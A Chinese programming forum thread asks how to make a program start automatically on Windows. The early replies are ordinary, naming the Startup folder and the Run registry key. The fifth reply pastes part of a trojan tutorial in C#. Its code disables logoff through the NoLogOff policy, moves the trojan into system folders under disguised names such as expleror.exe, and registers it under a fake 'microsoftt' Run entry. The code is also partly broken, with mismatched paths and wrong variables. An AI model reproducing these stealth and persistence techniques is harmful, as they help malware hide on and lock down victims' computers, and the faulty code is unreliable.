web service?如果是在win98系统下呢?
在不同的系统下呢??

解决方案 »

  1.   

    一般不带窗体的WINDOWS应用程序就可以了
      

  2.   

    idiotzeng,
    但如何实现一开机就运行呢
      

  3.   

    1、做个安装程序
    2、在“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”下创建快捷方式
    3、修改注册表
    等等。
      

  4.   

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
      

  5.   

    3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer 
      下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改: 
      private void UnLogOff() 
       { 
       //得到主机的注册表的顶级节点 
      Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; 
      //设置一个注册表子键的变量 
       RegistryKey key1; 
       try 
       { 
       //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 
       //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 
       key1 = 
      rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true); 
       //设置子键的键名,和值 
       key1.SetValue ("NoLogOff",1); 
       //关闭打开的子键 
       key1.Close(); 
       //警告字符串设定 
       mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; 
       } 
       catch{} 
       //如果不存在自已建立 
       if(key1 ==null) 
       { 
       try 
       { 
       //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 
       RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"); 
       key2.SetValue("NoLogOff",1); 
       key2.Close(); 
       mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; 
       } 
       catch{} 
       } 
      } 
      4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。 
      private void moveCC1() 
       { 
       try 
       { 
       //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 
       //sourceFileName为要移动的文件名,destFileName为文件的新路径 
       File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe"); 
       } 
       catch {} 
       //将新移的木马程序设为自启动.分析和前面一样 
       try 
       { 
       key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true); 
       key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); 
       key1.Close(); 
       } 
       catch{} 
       if(key1 ==null) 
       { 
       try 
       { 
       RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); 
       key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); 
       key1.Close(); 
       } 
       catch{} 
       } 
       } //moveCC1()